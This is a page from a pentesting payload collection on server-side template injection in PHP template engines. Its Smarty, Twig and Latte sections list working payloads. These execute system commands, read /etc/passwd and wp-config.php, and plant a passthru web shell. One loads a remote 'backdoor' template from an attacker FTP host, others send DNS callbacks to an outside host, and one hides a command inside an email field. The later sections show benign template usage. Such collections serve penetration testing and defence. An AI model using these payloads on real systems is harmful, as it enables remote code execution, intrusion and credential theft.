PayloadsAllTheThings/Server Side Template Injection/PHP.md
2024-11-03 20:54:01 +01:00

254 lines
5.4 KiB
Markdown

# Server Side Template Injection - PHP
## Summary
- [Templating Libraries](#templating-libraries)
- [Smarty](#smarty)
- [Twig](#twig)
- [Twig - Basic injection](#twig---basic-injection)
- [Twig - Template format](#twig---template-format)
- [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading)
- [Twig - Code execution](#twig---code-execution)
- [Latte](#latte)
- [Latte - Basic injection](#latte---basic-injection)
- [Latte - Code execution](#latte---code-execution)
- [patTemplate](#pattemplate)
- [PHPlib](#phplib-and-html_template_phplib)
- [Plates](#plates)
- [References](#references)
## Templating Libraries
| Template Name | Payload Format |
| -------------- | --------- |
| Laravel Blade | `{{ }}` |
| Latte | `{var $X=""}{$X}` |
| Mustache | `{{ }}` |
| Plates | `<?= ?>` |
| Smarty | `{ }` |
| Twig | `{{ }}` |
## Smarty
[Official website](https://www.smarty.net/docs/en/)
> Smarty is a template engine for PHP.
```python
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
---
## Twig
[Official website](https://twig.symfony.com/)
> Twig is a modern template engine for PHP.
### Twig - Basic injection
```python
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}
```
### Twig - Template format
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
### Twig - Arbitrary File Reading
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}
```
### Twig - Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
{{['nslookup oastify.com']|filter('system')}}
```
Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)
```python
FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
---
## Latte
### Latte - Basic injection
```php
{var $X="POC"}{$X}
```
### Latte - Code execution
```php
{php system('nslookup oastify.com')}
```
---
## patTemplate
> [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
---
## PHPlib and HTML_Template_PHPLIB
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear.
`authors.tpl`
```html
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```
`authors.php`
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
---
## Plates
Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.
controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
page template:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
layout template:
```php
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
## References
* [TODO](#todo)